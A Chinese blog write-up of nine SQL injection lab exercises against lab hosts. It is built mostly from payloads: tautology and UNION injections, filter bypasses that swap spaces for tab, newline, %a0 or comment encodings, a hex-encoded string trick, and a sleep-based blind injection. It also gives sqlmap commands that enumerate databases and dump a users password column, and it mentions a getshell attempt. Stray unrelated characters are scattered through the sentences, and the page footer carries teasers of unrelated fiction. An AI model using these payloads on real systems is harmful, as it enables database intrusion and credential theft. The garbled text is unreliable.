2018-05-14-sql注入

sql injection 1:


圖一

這道題木一看就知道是未對root輸入進行凈化或者過濾适袜,因此直接需要閉合標簽再注釋就好了湿右,源代碼如下:

圖二

name=root' or 1=1 -- -,其中-- -是mysql的注釋符號坐梯。這樣可以獲取其他用戶的信息,如圖:


圖三

還有一點注意的地方在于我們寫符號注意不能開中文輸入法....

然后手工注入的操作就略過了赤赊,因為很熟悉了。

sqlmap實例如下:

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dbs --banner

--dbs是列舉數(shù)據庫煞赢, --banner是直接獲取數(shù)據庫banner信息抛计。如下圖:


圖四

這里可以繼續(xù)深入進去,學一下sqlmap用法照筑,例如:

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --current-user獲取當前用戶名吹截,--current-db是獲取當前數(shù)據庫。

圖五

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"? --table? -D exercises獲取數(shù)據庫表名凝危。


圖六

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"? --column ? -T? users獲取列名


圖七

然后就是脫褲了波俄,直接上 sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dump -C passwd -T users -D exercises 效果如下:


圖八

然后發(fā)現(xiàn)原來sqlmap也能getshell,具體命令如下:


圖九


圖十

當然最后沒成功,因為路徑不對蛾默,他的路徑不是默認路徑懦铺,需要用字典先去暴。趴生。阀趴。

sql injection 2:

這道題目代碼如下:


圖十一

本題目主要是針對url中出現(xiàn)的空格做正則表達式匹配,我們主要是要繞過這個限制苍匆,繞過的方式有好幾種:

A:可以通過url編碼tab鍵來進行繞過(就算你改成空格的url編碼%20也會被正則表達式匹配到的刘急,所以要改成其他的來代替空格),tab的URL編碼是%09,因此可以構造payload如下:

http://172.18.139.118/sqli/example2.php?name=root'%09or%091=1%09--%09-,效果如下:


圖十二

B:將空格換成注釋符號來解決例如把空格換成/**/其他一樣

圖十三

C:直接使用()來代替空格使用


圖十四

此外浸踩,對這種情況可以直接由sqlmap解決:

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --tamper=space2comment


圖十一

sql injection3:

這道題目主要是對所有空格以及和空格相關的符號(例如空格叔汁,tab,換行,中文全角空格等等)都去掉,源代碼如下所示:


圖十五

遇到這種情況可以采用所謂的url編碼解決据块,我用%a0來代替空格码邻,構造的payload如下所示:

http://172.18.238.200/sqli/example3.php?name=root%27%a0or%a01=1%a0--%a0-,結果如下所示:

圖十六

當然這里是主要用注釋符號也是可以的另假,直接上/**/來代替就可以了像屋。

sql injection4:

這道題目主要對特殊字符進行轉義,包括\x00, \, \n, \r, ' ,"等

圖十七

但是這道題目我覺得出的不好地方在于边篮。己莺。。注入點是數(shù)字型參數(shù)戈轿,不需要用到這些字符凌受。。思杯,直接構造payload:http://172.18.238.200/sqli/example4.php?id=2%20or%201=1就ok了胜蛉,如圖


圖十八

然后看到這里我突然明白為什么要用16進制了,比如說當數(shù)字型注入參數(shù)需要用到 '' 的時候(比如說table_name=''的時候)色乾,可以直接使用16進制誊册,這時候就直接繞過了'以及"的轉義問題。如下:

payload:http://10.10.10.138/sqli/example4.php?id=2%20union%20select%20table_name,2,3,4,5%20from%20information_schema.tables%20where%20table_schema=0x657865726369736573a--%20-


圖十九

sql injection5:


圖二十

這道題的過濾條件直接看正則表達式那里杈湾,只要匹配到不是以任意數(shù)字開頭作為參數(shù)的就報錯解虱。

第五題做法同第四,沒啥區(qū)別漆撞。。于宙。浮驳。

sql injection6:

這道題和第五題相反,他的正則表達式匹配id是要以數(shù)字結尾的,所以這種'就不行了捞魁。

sql injection7:

這道題目看了源碼至会,制定id要以數(shù)字或者(-0到9的數(shù)字)然后只匹配一行的數(shù)據進行正則表達式匹配,上圖:

圖二一

因此我們根據前面的方法構造payload=http://172.18.238.200/sqli/example7.php?id=2

%0aunion select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23

即是所有空格都用%0a來代替谱俭,直接就繞過了奉件。


圖二二

這道題木在sqlmap上遇到點問題,我使用sqlmap -u "http://172.18.238.200/sqli/example7.php?id=2" --dbs 的時候發(fā)現(xiàn)顯示其為靜態(tài)參數(shù)昆著,如下:


圖二三

但是我在id=2后面加上%0a再跑sqlmap就可以了县貌,后來查到這個叫做sql換行污染,通過用換行%0a代替空格凑懂,再加上其他字符什么的(也可以不要)直接就行了煤痕。


圖二四

sql injection8:

這道題目直接上源代碼,如下:


圖二五

從源代碼中可以看到,他是對order后面輸入的內容進行排序摆碉,其中對order輸入的內容還進行了轉義塘匣,在次我們科普一些知識,在正常情況下巷帝,一般而言order by與union是無法一起使用的(不能一個排序另一個不排序還使用union輸出)


圖二六

然后我們就無法使用聯(lián)合查詢了忌卤,這種情況下很簡單,直接使用盲注不就行了嘛楞泼。


圖二七

payload:http://10.10.10.138/sqli/example8.php?order=age`%20xor%20if(ascii(substring(database(),1,1))=101,sleep(5),0)%23

一個一個拆解就可以了埠巨。

這道題目無法用sqlmap跑出來,意識到一個問題现拒,畢竟他的閉合是用反單引號的,sqlmap可能沒有這種處理機制辣垒,所以跑不出來。

sql injection9:

這道題目源碼如下所示:

圖二八

然后與第八道題的差異在于他不需要反單引號閉合印蔬,所以直接使用第八題的payload去掉反單引號就可以了勋桶。


sqlmap直接跑就行:


圖二九


圖三十

拖了個庫。侥猬。例驹。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市退唠,隨后出現(xiàn)的幾起案子鹃锈,更是在濱河造成了極大的恐慌,老刑警劉巖瞧预,帶你破解...
    沈念sama閱讀 206,311評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件屎债,死亡現(xiàn)場離奇詭異,居然都是意外死亡垢油,警方通過查閱死者的電腦和手機盆驹,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,339評論 2 382
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來滩愁,“玉大人躯喇,你說我怎么就攤上這事∠跬鳎” “怎么了显设?”我有些...
    開封第一講書人閱讀 152,671評論 0 342
  • 文/不壞的土叔 我叫張陵悄窃,是天一觀的道長少欺。 經常有香客問我瓷式,道長,這世上最難降的妖魔是什么弧可? 我笑而不...
    開封第一講書人閱讀 55,252評論 1 279
  • 正文 為了忘掉前任蔑匣,我火速辦了婚禮劣欢,結果婚禮上,老公的妹妹穿的比我還像新娘裁良。我一直安慰自己凿将,他們只是感情好,可當我...
    茶點故事閱讀 64,253評論 5 371
  • 文/花漫 我一把揭開白布价脾。 她就那樣靜靜地躺著牧抵,像睡著了一般。 火紅的嫁衣襯著肌膚如雪侨把。 梳的紋絲不亂的頭發(fā)上犀变,一...
    開封第一講書人閱讀 49,031評論 1 285
  • 那天,我揣著相機與錄音秋柄,去河邊找鬼获枝。 笑死,一個胖子當著我的面吹牛骇笔,可吹牛的內容都是我干的省店。 我是一名探鬼主播,決...
    沈念sama閱讀 38,340評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼笨触,長吁一口氣:“原來是場噩夢啊……” “哼懦傍!你這毒婦竟也來了?” 一聲冷哼從身側響起芦劣,我...
    開封第一講書人閱讀 36,973評論 0 259
  • 序言:老撾萬榮一對情侶失蹤粗俱,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后虚吟,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體寸认,經...
    沈念sama閱讀 43,466評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 35,937評論 2 323
  • 正文 我和宋清朗相戀三年稍味,在試婚紗的時候發(fā)現(xiàn)自己被綠了废麻。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,039評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡模庐,死狀恐怖,靈堂內的尸體忽然破棺而出油宜,到底是詐尸還是另有隱情掂碱,我是刑警寧澤,帶...
    沈念sama閱讀 33,701評論 4 323
  • 正文 年R本政府宣布慎冤,位于F島的核電站疼燥,受9級特大地震影響,放射性物質發(fā)生泄漏蚁堤。R本人自食惡果不足惜醉者,卻給世界環(huán)境...
    茶點故事閱讀 39,254評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧撬即,春花似錦立磁、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,259評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至粒竖,卻和暖如春颅崩,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背蕊苗。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工沿后, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人朽砰。 一個月前我還...
    沈念sama閱讀 45,497評論 2 354
  • 正文 我出身青樓尖滚,卻偏偏與公主長得像,于是被迫代替她去往敵國和親锅移。 傳聞我的和親對象是個殘疾皇子熔掺,可洞房花燭夜當晚...
    茶點故事閱讀 42,786評論 2 345

推薦閱讀更多精彩內容